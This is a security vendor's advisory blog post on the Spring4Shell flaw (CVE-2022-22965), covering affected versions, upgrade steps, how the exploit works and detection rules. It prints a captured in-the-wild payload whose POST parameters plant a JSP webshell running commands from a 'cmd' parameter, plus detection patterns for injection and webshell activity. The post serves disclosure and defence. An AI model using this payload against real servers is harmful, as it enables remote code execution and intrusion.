The Spring4Shell vulnerability: Overview, detection, and remediation

On March 29, 2022, a critical vulnerability targeting the Spring Java framework was disclosed. This vulnerability was initially confused with a vulnerability in Spring Cloud, CVE-2022-22963. However, it was later identified as a separate vulnerability inside Spring Core, now tracked as CVE-2022-22965 and canonically named Spring4Shell.

This vulnerability affects Spring Core and allows an attacker to send a specially crafted HTTP request to bypass protections in the library’s HTTP request parser, leading to remote code execution. Several proofs of concept (PoCs) have been published, and we are aware of active exploitation in the wild.

Key points and observations

• March 29, 2022: The Spring4Shell vulnerability is disclosed to VMWare. VMWare informs the Spring team.
• March 30, 2022: Spring begins their vulnerability response process. According to Spring, the vulnerability is leaked to the public during this process and multiple PoCs are released. Datadog begins the Emerging Vulnerability Process for Spring4Shell.
• March 31, 2022: Spring publishes a blog post detailing the vulnerability with remediation steps and a timeline of the vulnerability disclosure process.

Due to the widespread implementation of Spring in web applications, this vulnerability makes an attractive target for threat actors to gain the ability to perform unauthenticated remote code execution (RCE). Datadog can confirm active exploitation of this vulnerability in the wild.

Check if your application is vulnerable

For an application to be vulnerable to Spring4Shell, it needs to match several conditions as outlined in the Spring advisory:

• Use JDK 9 or higher
• Have Apache Tomcat as the servlet container
• Be packaged as a traditional WAR (in contrast to a Spring Boot executable jar)
• Use the spring-webmvc or spring-webflux dependency
• Use Spring framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, or older versions

Remediate affected systems

To remediate the vulnerability, ensure your deployments of the Spring framework are running a version equal to or greater than 5.3.18 or 5.2.20.

In Maven, you can upgrade by adding the following entry to your POM file:

<properties>
    <spring-framework.version>5.3.18</spring-framework.version>
</properties>

In Gradle, add:

ext['spring-framework.version'] = '5.3.18'

If you are not able to upgrade, we recommend applying Spring’s workaround to mitigate the risk of an exploit.

How the Spring4Shell vulnerability works

There are several PoCs of the Spring4Shell vulnerability already available. Most of them are forked or inspired from this GitHub repository.

The exploit relies on a specially crafted HTTP request that abuses how Spring’s RequestMapping interface interprets and parses web request query parameters. This interface maps incoming web requests onto the appropriate methods for handling.

The Spring4Shell vulnerability lies in the RequestMapping interface’s filtering mechanism for user-supplied data. Attacks exploiting Spring4Shell supply a payload using Module.getClassLoader(). This allows an attacker to load an arbitrary malicious class that the server must parse. The vulnerable versions of Spring did not filter this attack path, which leads to the exploit.

How Datadog can help

Datadog’s Security Platform can provide automatic detection both of Spring4Shell exploit attempts on your applications and post-exploitation activity within your systems.

Detect exploitation attempts with Datadog Application Security

Datadog Application Security can detect Spring4Shell exploitation attempts using Datadog’s standard rules that check for general Java injection patterns, such as java\.lang\.(?:runtime|processbuilder and java.io.*

Datadog Application Security customers will also be able to use a rule to detect specific Spring4Shell exploitation attempts by looking for the pattern ^class\.module\.classLoader\. in request bodies.

Datadog Application Security also detects post-exploitation activity on the planted webshell:

Detect Spring4Shell with Datadog Cloud SIEM

Datadog Cloud SIEM customers can detect Spring4Shell exploitation by scanning for potential webshell activity in access logs. Datadog provides an out-of-the-box detection rule that can help detect this webshell activity:

@http.url_details.path:*.jsp @http.url_details.queryString.pwd:* @http.url_details.queryString.cmd:* @http.method:GET @http.status_code:200

Detect unusual process activity with Datadog Cloud Workload Security

Datadog Cloud Workload Security customers can detect Spring4Shell exploitation and post-exploitation through OOTB rules that look for Java or webapp processes spawning an unusual shell or system utility. Customers can take advantage of this functionality by downloading the latest Datadog Agent policy using the in-app button. Additionally, you can create a new Agent rule to detect this behavior with the following expression:

(
  exec.file.path in SHELLS 
  || exec.file.path in HTTP_UTILS 
  || exec.file.path in SHELL_UTILS
) 
&&
(
  process.ancestors.file.name in WEBAPP_PROCESSES 
  || process.ancestors.file.name =~ "php*" 
  || process.ancestors.file.name in [~"tomcat*"]
) 
&& process.ancestors.comm not in PACKAGE_MANAGERS

Spring4Shell in the wild

We have observed various Spring4Shell exploitation attempts in the wild. Just like Log4Shell, sources of these attacks range from security researchers and security companies probing their own applications to malicious actors. As of this writing, there has been no attribution to financially motivated actors and nation-state actors, but this will most likely change as groups add this exploit to their attack toolchains.

In particular, we have observed attackers probing the following common .jsp endpoints:

/admin.jsp
/contact.jsp
/download.jsp
/faces.jsp
/forgotPassword.jsp
/hi.jsp
/index.jsp
/login.jsp
/orders.jsp
/owners.jsp
/register.jsp
/submit.jsp

Datadog has also observed a number of webshells being created and dropped onto a host. In one example, the payload had the following POST parameters:

{
  "class.module.classLoader.resources.context.parent.pipeline.first.pattern": "%{c2}i if(\"j\".equals(request.getParameter(\"pwd\"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i",
  "class.module.classLoader.resources.context.parent.pipeline.first.suffix": ".jsp",
  "class.module.classLoader.resources.context.parent.pipeline.first.directory": "webapps/ROOT",
  "class.module.classLoader.resources.context.parent.pipeline.first.prefix": "tomcatwar",
  "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat": ""
}

We recommend security teams check for post-exploitation activity from webshells named:

• tomcatwar.jsp
• lalalalal.jsp
• crashed_log_.jsp
• ofc.jsp

We have also compiled a list of IPv4 addresses that we have observed performing mass scanning and dropping webshells.

Conclusion

The Spring4Shell vulnerability is a high-impact vulnerability that is easy for attackers to exploit on production environments that use vulnerable versions of Spring. In this post, we discussed some detection and prevention strategies for this particular vulnerability, and we showcased behavioral detection capabilities of the Datadog Security Platform against real-world attacks. Datadog customers can enable Cloud SIEM, Application Security, and Cloud Workload Security today to take advantage of our detection capabilities against this vulnerability.

Acknowledgements

Thank you to Matt Mills, Andy Anske, Nick Davis, Christophe Tafani-Dereeper, and Maxim Brown, all of whom contributed to the making of this post.